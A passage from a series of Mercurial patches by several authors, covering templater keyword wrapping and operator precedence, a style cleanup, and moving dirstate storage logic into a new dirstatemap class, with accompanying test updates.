+            yield self.joinfmt(x)
     def itermaps(self):
         makemap = self._makemap
         for x in self._values:
@@ -73,11 +73,11 @@
 def hybriddict(data, key='key', value='value', fmt='%s=%s', gen=None):
     """Wrap data to support both dict-like and string-like operations"""
     return _hybrid(gen, data, lambda k: {key: k, value: data[k]},
-                   lambda d: fmt % (d[key], d[value]))
+                   lambda k: fmt % (k, data[k]))
 
 def hybridlist(data, name, fmt='%s', gen=None):
     """Wrap data to support both list-like and string-like operations"""
-    return _hybrid(gen, data, lambda x: {name: x}, lambda d: fmt % d[name])
+    return _hybrid(gen, data, lambda x: {name: x}, lambda x: fmt % x)
 
 def unwraphybrid(thing):
     """Return an object which can be stringified possibly by using a legacy
@@ -315,7 +315,7 @@
     active = repo._activebookmark
     makemap = lambda v: {'bookmark': v, 'active': active, 'current': active}
     f = _showlist('bookmark', bookmarks, args)
-    return _hybrid(f, bookmarks, makemap, lambda x: x['bookmark'])
+    return _hybrid(f, bookmarks, makemap, pycompat.identity)
 
 @templatekeyword('children')
 def showchildren(**args):
@@ -384,7 +384,7 @@
     c = [makemap(k) for k in extras]
     f = _showlist('extra', c, args, plural='extras')
     return _hybrid(f, extras, makemap,
-                   lambda x: '%s=%s' % (x['key'], util.escapestr(x['value'])))
+                   lambda k: '%s=%s' % (k, util.escapestr(extras[k])))
 
 @templatekeyword('file_adds')
 def showfileadds(**args):
@@ -510,7 +510,7 @@
 
     tags = latesttags[2]
     f = _showlist('latesttag', tags, args, separator=':')
-    return _hybrid(f, tags, makemap, lambda x: x['latesttag'])
+    return _hybrid(f, tags, makemap, pycompat.identity)
 
 @templatekeyword('latesttagdistance')
 def showlatesttagdistance(repo, ctx, templ, cache, **args):
@@ -584,7 +584,7 @@
             'colorname': colornames[ns],
         }
 
-    return _hybrid(f, namespaces, makemap, lambda x: x['namespace'])
+    return _hybrid(f, namespaces, makemap, pycompat.identity)
 
 @templatekeyword('node')
 def shownode(repo, ctx, templ, **args):
@@ -618,7 +618,7 @@
     # no hybriddict() since d['path'] can't be formatted as a string. perhaps
     # hybriddict() should call templatefilters.stringify(d[value]).
     return _hybrid(None, paths, lambda k: {'name': k, 'path': paths[k]},
-                   lambda d: '%s=%s' % (d['name'], d['path']['url']))
+                   lambda k: '%s=%s' % (k, paths[k]['url']))
 
 @templatekeyword("predecessors")
 def showpredecessors(repo, ctx, **args):
@@ -629,7 +629,7 @@
 
     return _hybrid(None, predecessors,
                    lambda x: {'ctx': repo[x], 'revcache': {}},
-                   lambda d: scmutil.formatchangeid(d['ctx']))
+                   lambda x: scmutil.formatchangeid(repo[x]))
 
 @templatekeyword("successorssets")
 def showsuccessorssets(repo, ctx, **args):
@@ -647,7 +647,7 @@
     data = []
     for ss in ssets:
         h = _hybrid(None, ss, lambda x: {'ctx': repo[x], 'revcache': {}},
-                    lambda d: scmutil.formatchangeid(d['ctx']))
+                    lambda x: scmutil.formatchangeid(repo[x]))
         data.append(h)
 
     # Format the successorssets
@@ -661,7 +661,7 @@
         yield "; ".join(render(d) for d in data)
 
     return _hybrid(gen(data), data, lambda x: {'successorset': x},
-                   lambda d: d["successorset"])
+                   pycompat.identity)
 
 @templatekeyword("succsandmarkers")
 def showsuccsandmarkers(repo, ctx, **args):
@@ -687,7 +687,7 @@
         successors = [hex(n) for n in successors]
         successors = _hybrid(None, successors,
                              lambda x: {'ctx': repo[x], 'revcache': {}},
-                             lambda d: scmutil.formatchangeid(d['ctx']))
+                             lambda x: scmutil.formatchangeid(repo[x]))
 
         # Format markers
         finalmarkers = []
@@ -703,7 +703,7 @@
         data.append({'successors': successors, 'markers': finalmarkers})
 
     f = _showlist('succsandmarkers', data, args)
-    return _hybrid(f, data, lambda x: x, lambda d: d)
+    return _hybrid(f, data, lambda x: x, pycompat.identity)
 
 @templatekeyword('p1rev')
 def showp1rev(repo, ctx, templ, **args):
@@ -748,7 +748,7 @@
                for p in pctxs]
     f = _showlist('parent', parents, args)
     return _hybrid(f, prevs, lambda x: {'ctx': repo[int(x)], 'revcache': {}},
-                   lambda d: scmutil.formatchangeid(d['ctx']))
+                   lambda x: scmutil.formatchangeid(repo[int(x)]))
 
 @templatekeyword('phase')
 def showphase(repo, ctx, templ, **args):
@@ -775,7 +775,7 @@
     f = _showlist(name, revs, args)
     return _hybrid(f, revs,
                    lambda x: {name: x, 'ctx': repo[int(x)], 'revcache': {}},
-                   lambda d: d[name])
+                   pycompat.identity)
 
 @templatekeyword('subrepos')
 def showsubrepos(**args):
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -768,10 +768,7 @@
     # TODO: perhaps this should be evalfuncarg(), but it can't because hgweb
     # abuses generator as a keyword that returns a list of dicts.
     joinset = evalrawexp(context, mapping, args[0])
-    if util.safehasattr(joinset, 'itermaps'):
-        jf = joinset.joinfmt
-        joinset = [jf(x) for x in joinset.itermaps()]
-
+    joinfmt = getattr(joinset, 'joinfmt', pycompat.identity)
     joiner = " "
     if len(args) > 1:
         joiner = evalstring(context, mapping, args[1])
@@ -782,7 +779,7 @@
             first = False
         else:
             yield joiner
-        yield x
+        yield joinfmt(x)
 
 @templatefunc('label(label, expr)')
 def label(context, mapping, args):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1493037431 -32400
#      Mon Apr 24 21:37:11 2017 +0900
# Node ID 6367318327f03877834561c6f18d0c0bebe8d7b1
# Parent  dd28b1f55eb86f9a47d0176214d4076498fdb3ed
templater: adjust binding strength of '%' and '|' operators (BC)

This makes 'foo|bar%baz' parsed as '(foo|bar)%baz', not 'foo|(bar%baz)'.
Perhaps it was a mistake that '%' preceded '|'. Both '|' and '%' can be
considered a kind of function application, and '|' is more like a '.' operator
seen in OO languages. So IMHO '|' should have the same (or higher) binding as
'%'.

The BC breakage should be minimal since both '|' and '%' operators have
strict requirements for their operands and 'foo|bar%baz' was invalid:

 - right-hand side of '|' must be a symbol
 - left-hand side of '%' must be a dict or list
 - right-hand side of '%' must be a string or symbol

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -34,7 +34,7 @@
 elements = {
     # token-type: binding-strength, primary, prefix, infix, suffix
     "(": (20, None, ("group", 1, ")"), ("func", 1, ")"), None),
-    "%": (16, None, None, ("%", 16), None),
+    "%": (15, None, None, ("%", 15), None),
     "|": (15, None, None, ("|", 15), None),
     "*": (5, None, None, ("*", 5), None),
     "/": (5, None, None, ("/", 5), None),
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -134,6 +134,20 @@
     (string '\n'))
   -3
 
+Filters bind as close as map operator:
+
+  $ hg debugtemplate -r0 -v '{desc|splitlines % "{line}\n"}'
+  (template
+    (%
+      (|
+        (symbol 'desc')
+        (symbol 'splitlines'))
+      (template
+        (symbol 'line')
+        (string '\n'))))
+  line 1
+  line 2
+
 Keyword arguments:
 
   $ hg debugtemplate -r0 -v '{foo=bar|baz}'
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1461490883 -32400
#      Sun Apr 24 18:41:23 2016 +0900
# Node ID 89aec1834a86003def3b6656863e48c5d41a858f
# Parent  6367318327f03877834561c6f18d0c0bebe8d7b1
templatekw: add new-style template expansion to {manifest}

The goal is to allow us to easily access to nested data. The dot operator
will be introduced later so we can write '{p1.files}' instead of
'{revset("p1()") % "{files}"}' for example.

In the example above, 'p1' needs to carry a mapping dict along with its
string representation. If it were a list or a dict, it could be wrapped
semi-transparently with the _hybrid class, but for non-list/dict types,
it would be difficult to proxy all necessary functions to underlying value
type because several core operations may conflict with the ones of the
underlying value:

 - hash(value) should be different from hash(wrapped(value)), which means
   dict[wrapped(value)] would be invalid
 - 'value == wrapped(value)' would be false, breaks 'ifcontains'
 - len(wrapped(value)) may be either len(value) or len(iter(wrapped(value)))

So the wrapper has no proxy functions and its scope designed to be minimal.
It's unwrapped at eval*() functions so we don't have to care for a wrapped
object unless it's really needed:

  # most template functions just call evalfuncarg()
  unwrapped_value = evalfuncarg(context, mapping, args[n])
  # if wrapped value is needed, use evalrawexp()
  maybe_wrapped_value = evalrawexp(context, mapping, args[n])

Another idea was to wrap every template variable with a tagging class, but
which seemed uneasy without a static type checker.

This patch updates {manifest} to a mappable as an example.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -70,6 +70,28 @@
             raise AttributeError(name)
         return getattr(self._values, name)
 
+class _mappable(object):
+    """Wrapper for non-list/dict object to support map operation
+
+    This class allows us to handle both:
+    - "{manifest}"
+    - "{manifest % '{rev}:{node}'}"
+
+    Unlike a _hybrid, this does not simulate the behavior of the underling
+    value. Use unwrapvalue() or unwraphybrid() to obtain the inner object.
+    """
+
+    def __init__(self, gen, value, makemap):
+        self.gen = gen
+        self._value = value  # may be generator of strings
+        self._makemap = makemap
+
+    def tomap(self):
+        return self._makemap()
+
+    def itermaps(self):
+        yield self.tomap()
+
 def hybriddict(data, key='key', value='value', fmt='%s=%s', gen=None):
     """Wrap data to support both dict-like and string-like operations"""
     return _hybrid(gen, data, lambda k: {key: k, value: data[k]},
@@ -86,6 +108,12 @@
         return thing
     return thing.gen
 
+def unwrapvalue(thing):
+    """Move the inner value object out of the wrapper"""
+    if not util.safehasattr(thing, '_value'):
+        return thing
+    return thing._value
+
 def showdict(name, data, mapping, plural=None, key='key', value='value',
              fmt='%s=%s', separator=' '):
     c = [{key: k, value: v} for k, v in data.iteritems()]
@@ -543,10 +571,14 @@
     if mnode is None:
         # just avoid crash, we might want to use the 'ff...' hash in future
         return
+    mrev = repo.manifestlog._revlog.rev(mnode)
+    mhex = hex(mnode)
     args = args.copy()
-    args.update({r'rev': repo.manifestlog._revlog.rev(mnode),
-                 r'node': hex(mnode)})
-    return templ('manifest', **args)
+    args.update({r'rev': mrev, r'node': mhex})
+    f = templ('manifest', **args)
+    # TODO: perhaps 'ctx' should be dropped from mapping because manifest
+    # rev and node are completely different from changeset's.
+    return _mappable(f, f, lambda: {'rev': mrev, 'node': mhex})
 
 def shownames(namespace, **args):
     """helper method to generate a template keyword for a namespace"""
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -307,6 +307,7 @@
 def evalfuncarg(context, mapping, arg):
     """Evaluate given argument as value type"""
     thing = evalrawexp(context, mapping, arg)
+    thing = templatekw.unwrapvalue(thing)
     # evalrawexp() may return string, generator of strings or arbitrary object
     # such as date tuple, but filter does not want generator.
     if isinstance(thing, types.GeneratorType):
@@ -323,6 +324,7 @@
             thing = util.parsebool(data)
     else:
         thing = func(context, mapping, data)
+    thing = templatekw.unwrapvalue(thing)
     if isinstance(thing, bool):
         return thing
     # other objects are evaluated as strings, which means 0 is True, but
@@ -768,6 +770,7 @@
     # TODO: perhaps this should be evalfuncarg(), but it can't because hgweb
     # abuses generator as a keyword that returns a list of dicts.
     joinset = evalrawexp(context, mapping, args[0])
+    joinset = templatekw.unwrapvalue(joinset)
     joinfmt = getattr(joinset, 'joinfmt', pycompat.identity)
     joiner = " "
     if len(args) > 1:
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3119,6 +3119,20 @@
   hg: parse error: None is not iterable
   [255]
 
+Test new-style inline templating of non-list/dict type:
+
+  $ hg log -R latesttag -r tip -T '{manifest}\n'
+  11:2bc6e9006ce2
+  $ hg log -R latesttag -r tip -T 'string length: {manifest|count}\n'
+  string length: 15
+  $ hg log -R latesttag -r tip -T '{manifest % "{rev}:{node}"}\n'
+  11:2bc6e9006ce29882383a22d39fd1f4e66dd3e2fc
+
+Test manifest can be join()-ed as before, though it's silly:
+
+  $ hg log -R latesttag -r tip -T '{join(manifest, "")}\n'
+  11:2bc6e9006ce2
+
 Test the sub function of templating for expansion:
 
   $ hg log -R latesttag -r 10 --template '{sub("[0-9]", "x", "{rev}")}\n'
# HG changeset patch
# User Alex Gaynor <agaynor@mozilla.com>
# Date 1506700183 0
#      Fri Sep 29 15:49:43 2017 +0000
# Node ID 5313325025681f8996953bc3f91225e285962453
# Parent  89aec1834a86003def3b6656863e48c5d41a858f
style: always use `x is not None` instead of `not x is None`

Differential Revision: https://phab.mercurial-scm.org/D842

diff --git a/mercurial/keepalive.py b/mercurial/keepalive.py
--- a/mercurial/keepalive.py
+++ b/mercurial/keepalive.py
@@ -393,7 +393,7 @@
     def read(self, amt=None):
         # the _rbuf test is only in this first if for speed.  It's not
         # logically necessary
-        if self._rbuf and not amt is None:
+        if self._rbuf and amt is not None:
             L = len(self._rbuf)
             if amt > L:
                 amt -= L
diff --git a/mercurial/pure/parsers.py b/mercurial/pure/parsers.py
--- a/mercurial/pure/parsers.py
+++ b/mercurial/pure/parsers.py
@@ -80,7 +80,7 @@
         return i * indexsize
 
     def __delitem__(self, i):
-        if not isinstance(i, slice) or not i.stop == -1 or not i.step is None:
+        if not isinstance(i, slice) or not i.stop == -1 or i.step is not None:
             raise ValueError("deleting slices only supports a:-1 with step 1")
         i = self._fix_index(i.start)
         if i < self._lgt:
@@ -114,7 +114,7 @@
         return count
 
     def __delitem__(self, i):
-        if not isinstance(i, slice) or not i.stop == -1 or not i.step is None:
+        if not isinstance(i, slice) or not i.stop == -1 or i.step is not None:
             raise ValueError("deleting slices only supports a:-1 with step 1")
         i = self._fix_index(i.start)
         if i < self._lgt:
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID b36881c68569c34d95f587f9f3ac3441b360ba6b
# Parent  5313325025681f8996953bc3f91225e285962453
dirstate: create new dirstatemap class

This is part of a larger refactor to move the dirstate storage logic to a
separate class, so it's easier to rewrite the dirstate storage layer without
having to rewrite all the algorithms as well.

Step one it to create the class, and replace dirstate._map with it.  The
abstraction bleeds through in a few places where the main dirstate class has to
access self._map._map, but those will be cleaned up in future patches.

Differential Revision: https://phab.mercurial-scm.org/D752

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -57,7 +57,7 @@
 def nonnormalentries(dmap):
     '''Compute the nonnormal dirstate entries from the dmap'''
     try:
-        return parsers.nonnormalotherparententries(dmap)
+        return parsers.nonnormalotherparententries(dmap._map)
     except AttributeError:
         nonnorm = set()
         otherparent = set()
@@ -179,7 +179,7 @@
         except AttributeError:
             pass
         else:
-            return makefilefoldmap(self._map, util.normcasespec,
+            return makefilefoldmap(self._map._map, util.normcasespec,
                                    util.normcasefallback)
 
         f = {}
@@ -238,7 +238,7 @@
 
     @propertycache
     def _dirs(self):
-        return util.dirs(self._map, 'r')
+        return util.dirs(self._map._map, 'r')
 
     def dirs(self):
         return self._dirs
@@ -444,7 +444,8 @@
         return fp
 
     def _read(self):
-        self._map = {}
+        self._map = dirstatemap()
+
         self._copymap = {}
         # ignore HG_PENDING because identity is used only for writing
         self._identity = util.filestat.frompath(
@@ -473,7 +474,7 @@
             # This heuristic is imperfect in many ways, so in a future dirstate
             # format update it makes sense to just record the number of entries
             # on write.
-            self._map = parsers.dict_new_presized(len(st) / 71)
+            self._map._map = parsers.dict_new_presized(len(st) / 71)
 
         # Python's garbage collector triggers a GC each time a certain number
         # of container objects (the number being defined by
@@ -488,7 +489,7 @@
         #
         # (we cannot decorate the function directly since it is in a C module)
         parse_dirstate = util.nogc(parsers.parse_dirstate)
-        p = parse_dirstate(self._map, self._copymap, st)
+        p = parse_dirstate(self._map._map, self._copymap, st)
         if not self._dirtypl:
             self._pl = p
 
@@ -731,7 +732,7 @@
         return path
 
     def clear(self):
-        self._map = {}
+        self._map = dirstatemap()
         self._nonnormalset = set()
         self._otherparentset = set()
         if "_dirs" in self.__dict__:
@@ -840,7 +841,8 @@
                     now = end # trust our estimate that the end is near now
                     break
 
-        st.write(parsers.pack_dirstate(self._map, self._copymap, self._pl, now))
+        st.write(parsers.pack_dirstate(self._map._map, self._copymap, self._pl,
+                                       now))
         self._nonnormalset, self._otherparentset = nonnormalentries(self._map)
         st.close()
         self._lastnormaltime = 0
@@ -979,7 +981,7 @@
                     results[nf] = None
                 else: # does it match a missing directory?
                     if alldirs is None:
-                        alldirs = util.dirs(dmap)
+                        alldirs = util.dirs(dmap._map)
                     if nf in alldirs:
                         if matchedir:
                             matchedir(nf)
@@ -1339,3 +1341,31 @@
     def clearbackup(self, tr, backupname):
         '''Clear backup file'''
         self._opener.unlink(backupname)
+
+class dirstatemap(object):
+    def __init__(self):
+        self._map = {}
+
+    def iteritems(self):
+        return self._map.iteritems()
+
+    def __iter__(self):
+        return iter(self._map)
+
+    def get(self, key, default=None):
+        return self._map.get(key, default)
+
+    def __contains__(self, key):
+        return key in self._map
+
+    def __setitem__(self, key, value):
+        self._map[key] = value
+
+    def __getitem__(self, key):
+        return self._map[key]
+
+    def __delitem__(self, key):
+        del self._map[key]
+
+    def keys(self):
+        return self._map.keys()
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID 4ac04418ce66b7296f16518fd0a8fc232d173717
# Parent  b36881c68569c34d95f587f9f3ac3441b360ba6b
dirstate: move nonnormalentries to dirstatemap

As part of moving dirstate storage to its own class, let's move the
nonnormalentries logic onto the dirstatemap class. This will let extensions
replace the nonnormalentries logic with a persisted cache.

Differential Revision: https://phab.mercurial-scm.org/D753

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -54,20 +54,6 @@
         os.close(tmpfd)
         vfs.unlink(tmpname)
 
-def nonnormalentries(dmap):
-    '''Compute the nonnormal dirstate entries from the dmap'''
-    try:
-        return parsers.nonnormalotherparententries(dmap._map)
-    except AttributeError:
-        nonnorm = set()
-        otherparent = set()
-        for fname, e in dmap.iteritems():
-            if e[0] != 'n' or e[3] == -1:
-                nonnorm.add(fname)
-            if e[0] == 'n' and e[2] == -2:
-                otherparent.add(fname)
-        return nonnorm, otherparent
-
 class dirstate(object):
 
     def __init__(self, opener, ui, root, validate, sparsematchfn):
@@ -162,13 +148,13 @@
 
     @propertycache
     def _nonnormalset(self):
-        nonnorm, otherparents = nonnormalentries(self._map)
+        nonnorm, otherparents = self._map.nonnormalentries()
         self._otherparentset = otherparents
         return nonnorm
 
     @propertycache
     def _otherparentset(self):
-        nonnorm, otherparents = nonnormalentries(self._map)
+        nonnorm, otherparents = self._map.nonnormalentries()
         self._nonnormalset = nonnorm
         return otherparents
 
@@ -843,7 +829,7 @@
 
         st.write(parsers.pack_dirstate(self._map._map, self._copymap, self._pl,
                                        now))
-        self._nonnormalset, self._otherparentset = nonnormalentries(self._map)
+        self._nonnormalset, self._otherparentset = self._map.nonnormalentries()
         st.close()
         self._lastnormaltime = 0
         self._dirty = self._dirtypl = False
@@ -1369,3 +1355,18 @@
 
     def keys(self):
         return self._map.keys()
+
+    def nonnormalentries(self):
+        '''Compute the nonnormal dirstate entries from the dmap'''
+        try:
+            return parsers.nonnormalotherparententries(self._map)
+        except AttributeError:
+            nonnorm = set()
+            otherparent = set()
+            for fname, e in self._map.iteritems():
+                if e[0] != 'n' or e[3] == -1:
+                    nonnorm.add(fname)
+                if e[0] == 'n' and e[2] == -2:
+                    otherparent.add(fname)
+            return nonnorm, otherparent
+
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID d8b35920b7b16a913c8af45978fcb21fda19e29c
# Parent  4ac04418ce66b7296f16518fd0a8fc232d173717
dirstate: move filefoldmap to dirstatemap

As part of moving the dirstate storage logic to a separate class, lets move the
filfoldmap computation to that class. This will allow extensions to replace the
dirstate storage with something that persists the filefoldmap.

Differential Revision: https://phab.mercurial-scm.org/D754

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -160,21 +160,7 @@
 
     @propertycache
     def _filefoldmap(self):
-        try:
-            makefilefoldmap = parsers.make_file_foldmap
-        except AttributeError:
-            pass
-        else:
-            return makefilefoldmap(self._map._map, util.normcasespec,
-                                   util.normcasefallback)
-
-        f = {}
-        normcase = util.normcase
-        for name, s in self._map.iteritems():
-            if s[0] != 'r':
-                f[normcase(name)] = name
-        f['.'] = '.' # prevents useless util.fspath() invocation
-        return f
+        return self._map.filefoldmap()
 
     @propertycache
     def _dirfoldmap(self):
@@ -1370,3 +1356,22 @@
                     otherparent.add(fname)
             return nonnorm, otherparent
 
+    def filefoldmap(self):
+        """Returns a dictionary mapping normalized case paths to their
+        non-normalized versions.
+        """
+        try:
+            makefilefoldmap = parsers.make_file_foldmap
+        except AttributeError:
+            pass
+        else:
+            return makefilefoldmap(self._map, util.normcasespec,
+                                   util.normcasefallback)
+
+        f = {}
+        normcase = util.normcase
+        for name, s in self._map.iteritems():
+            if s[0] != 'r':
+                f[normcase(name)] = name
+        f['.'] = '.' # prevents useless util.fspath() invocation
+        return f
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID af9722412ac3e83f940a50f7f3723ae09de11318
# Parent  d8b35920b7b16a913c8af45978fcb21fda19e29c
dirstate: move _dirs to dirstatemap

As part of moving the dirstate storage logic to a new class, lets move the _dirs
computation onto the class so extensions can replace it with a persisted index
of directories.

Differential Revision: https://phab.mercurial-scm.org/D755

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -210,7 +210,7 @@
 
     @propertycache
     def _dirs(self):
-        return util.dirs(self._map._map, 'r')
+        return self._map.dirs()
 
     def dirs(self):
         return self._dirs
@@ -1375,3 +1375,9 @@
                 f[normcase(name)] = name
         f['.'] = '.' # prevents useless util.fspath() invocation
         return f
+
+    def dirs(self):
+        """Returns a set-like object containing all the directories in the
+        current dirstate.
+        """
+        return util.dirs(self._map, 'r')
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID 0865d25e8a8ad664e8da31ab1bf12f1fc9bf0c7a
# Parent  af9722412ac3e83f940a50f7f3723ae09de11318
dirstate: move _copymap to dirstatemap

As part of moving all dirstate storage to a new class, let's move the copymap
onto that class. In a future patch this will let us move the read/write
functions to the dirstatemap class, and for extensions this lets us replace the
copy storage with alternative storage.

Differential Revision: https://phab.mercurial-scm.org/D756

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -137,11 +137,6 @@
         return self._map
 
     @propertycache
-    def _copymap(self):
-        self._read()
-        return self._copymap
-
-    @propertycache
     def _identity(self):
         self._read()
         return self._identity
@@ -378,13 +373,13 @@
 
                 # Discard 'm' markers when moving away from a merge state
                 if s[0] == 'm':
-                    source = self._copymap.get(f)
+                    source = self._map.copymap.get(f)
                     if source:
                         copies[f] = source
                     self.normallookup(f)
                 # Also fix up otherparent markers
                 elif s[0] == 'n' and s[2] == -2:
-                    source = self._copymap.get(f)
+                    source = self._map.copymap.get(f)
                     if source:
                         copies[f] = source
                     self.add(f)
@@ -418,7 +413,6 @@
     def _read(self):
         self._map = dirstatemap()
 
-        self._copymap = {}
         # ignore HG_PENDING because identity is used only for writing
         self._identity = util.filestat.frompath(
             self._opener.join(self._filename))
@@ -461,7 +455,7 @@
         #
         # (we cannot decorate the function directly since it is in a C module)
         parse_dirstate = util.nogc(parsers.parse_dirstate)
-        p = parse_dirstate(self._map._map, self._copymap, st)
+        p = parse_dirstate(self._map._map, self._map.copymap, st)
         if not self._dirtypl:
             self._pl = p
 
@@ -472,7 +466,7 @@
         rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
         check whether the dirstate has changed before rereading it.'''
 
-        for a in ("_map", "_copymap", "_identity",
+        for a in ("_map", "_identity",
                   "_filefoldmap", "_dirfoldmap", "_branch",
                   "_pl", "_dirs", "_ignore", "_nonnormalset",
                   "_otherparentset"):
@@ -490,17 +484,17 @@
             return
         self._dirty = True
         if source is not None:
-            self._copymap[dest] = source
+            self._map.copymap[dest] = source
             self._updatedfiles.add(source)
             self._updatedfiles.add(dest)
-        elif self._copymap.pop(dest, None):
+        elif self._map.copymap.pop(dest, None):
             self._updatedfiles.add(dest)
 
     def copied(self, file):
-        return self._copymap.get(file, None)
+        return self._map.copymap.get(file, None)
 
     def copies(self):
-        return self._copymap
+        return self._map.copymap
 
     def _droppath(self, f):
         if self[f] not in "?r" and "_dirs" in self.__dict__:
@@ -543,7 +537,7 @@
         mtime = s.st_mtime
         self._addpath(f, 'n', s.st_mode,
                       s.st_size & _rangemask, mtime & _rangemask)
-        self._copymap.pop(f, None)
+        self._map.copymap.pop(f, None)
         if f in self._nonnormalset:
             self._nonnormalset.remove(f)
         if mtime > self._lastnormaltime:
@@ -561,7 +555,7 @@
             entry = self._map.get(f)
             if entry is not None:
                 if entry[0] == 'r' and entry[2] in (-1, -2):
-                    source = self._copymap.get(f)
+                    source = self._map.copymap.get(f)
                     if entry[2] == -1:
                         self.merge(f)
                     elif entry[2] == -2:
@@ -572,7 +566,7 @@
                 if entry[0] == 'm' or entry[0] == 'n' and entry[2] == -2:
                     return
         self._addpath(f, 'n', 0, -1, -1)
-        self._copymap.pop(f, None)
+        self._map.copymap.pop(f, None)
         if f in self._nonnormalset:
             self._nonnormalset.remove(f)
 
@@ -587,12 +581,12 @@
         else:
             # add-like
             self._addpath(f, 'n', 0, -2, -1)
-        self._copymap.pop(f, None)
+        self._map.copymap.pop(f, None)
 
     def add(self, f):
         '''Mark a file added.'''
         self._addpath(f, 'a', 0, -1, -1)
-        self._copymap.pop(f, None)
+        self._map.copymap.pop(f, None)
 
     def remove(self, f):
         '''Mark a file removed.'''
@@ -611,7 +605,7 @@
         self._map[f] = dirstatetuple('r', 0, size, 0)
         self._nonnormalset.add(f)
         if size == 0:
-            self._copymap.pop(f, None)
+            self._map.copymap.pop(f, None)
 
     def merge(self, f):
         '''Mark a file merged.'''
@@ -627,7 +621,7 @@
             del self._map[f]
             if f in self._nonnormalset:
                 self._nonnormalset.remove(f)
-            self._copymap.pop(f, None)
+            self._map.copymap.pop(f, None)
 
     def _discoverpath(self, path, normed, ignoremissing, exists, storemap):
         if exists is None:
@@ -709,7 +703,6 @@
         self._otherparentset = set()
         if "_dirs" in self.__dict__:
             delattr(self, "_dirs")
-        self._copymap = {}
         self._pl = [nullid, nullid]
         self._lastnormaltime = 0
         self._updatedfiles.clear()
@@ -813,8 +806,8 @@
                     now = end # trust our estimate that the end is near now
                     break
 
-        st.write(parsers.pack_dirstate(self._map._map, self._copymap, self._pl,
-                                       now))
+        st.write(parsers.pack_dirstate(self._map._map, self._map.copymap,
+                                       self._pl, now))
         self._nonnormalset, self._otherparentset = self._map.nonnormalentries()
         st.close()
         self._lastnormaltime = 0
@@ -1188,7 +1181,7 @@
         mexact = match.exact
         dirignore = self._dirignore
         checkexec = self._checkexec
-        copymap = self._copymap
+        copymap = self._map.copymap
         lastnormaltime = self._lastnormaltime
 
         # We need to do full walks when either
@@ -1317,6 +1310,7 @@
 class dirstatemap(object):
     def __init__(self):
         self._map = {}
+        self.copymap = {}
 
     def iteritems(self):
         return self._map.iteritems()
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID c36c3fa7d35b0aa1c29d316927b21f77ecc809b8
# Parent  0865d25e8a8ad664e8da31ab1bf12f1fc9bf0c7a
dirstate: move opendirstatefile to dirstatemap

As part of moving the dirstate storage logic to another class, let's move
opendirstatefile to dirstatemap. This will allow extensions to replace the
pending abstraction.

Future patches will move the consumers of _opendirstatefile into dirstatemap as
well.

Differential Revision: https://phab.mercurial-scm.org/D757

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -82,9 +82,6 @@
         self._origpl = None
         self._updatedfiles = set()
 
-        # for consistent view between _pl() and _read() invocations
-        self._pendingmode = None
-
     @contextlib.contextmanager
     def parentchange(self):
         '''Context manager for handling dirstate parents.
@@ -190,7 +187,7 @@
     @propertycache
     def _pl(self):
         try:
-            fp = self._opendirstatefile()
+            fp = self._map._opendirstatefile()
             st = fp.read(40)
             fp.close()
             l = len(st)
@@ -401,23 +398,14 @@
             f.discard()
             raise
 
-    def _opendirstatefile(self):
-        fp, mode = txnutil.trypending(self._root, self._opener, self._filename)
-        if self._pendingmode is not None and self._pendingmode != mode:
-            fp.close()
-            raise error.Abort(_('working directory state may be '
-                                'changed parallelly'))
-        self._pendingmode = mode
-        return fp
-
     def _read(self):
-        self._map = dirstatemap()
+        self._map = dirstatemap(self._ui, self._opener, self._root)
 
         # ignore HG_PENDING because identity is used only for writing
         self._identity = util.filestat.frompath(
             self._opener.join(self._filename))
         try:
-            fp = self._opendirstatefile()
+            fp = self._map._opendirstatefile()
             try:
                 st = fp.read()
             finally:
@@ -698,7 +686,7 @@
         return path
 
     def clear(self):
-        self._map = dirstatemap()
+        self._map = dirstatemap(self._ui, self._opener, self._root)
         self._nonnormalset = set()
         self._otherparentset = set()
         if "_dirs" in self.__dict__:
@@ -1308,10 +1296,18 @@
         self._opener.unlink(backupname)
 
 class dirstatemap(object):
-    def __init__(self):
+    def __init__(self, ui, opener, root):
+        self._ui = ui
+        self._opener = opener
+        self._root = root
+        self._filename = 'dirstate'
+
         self._map = {}
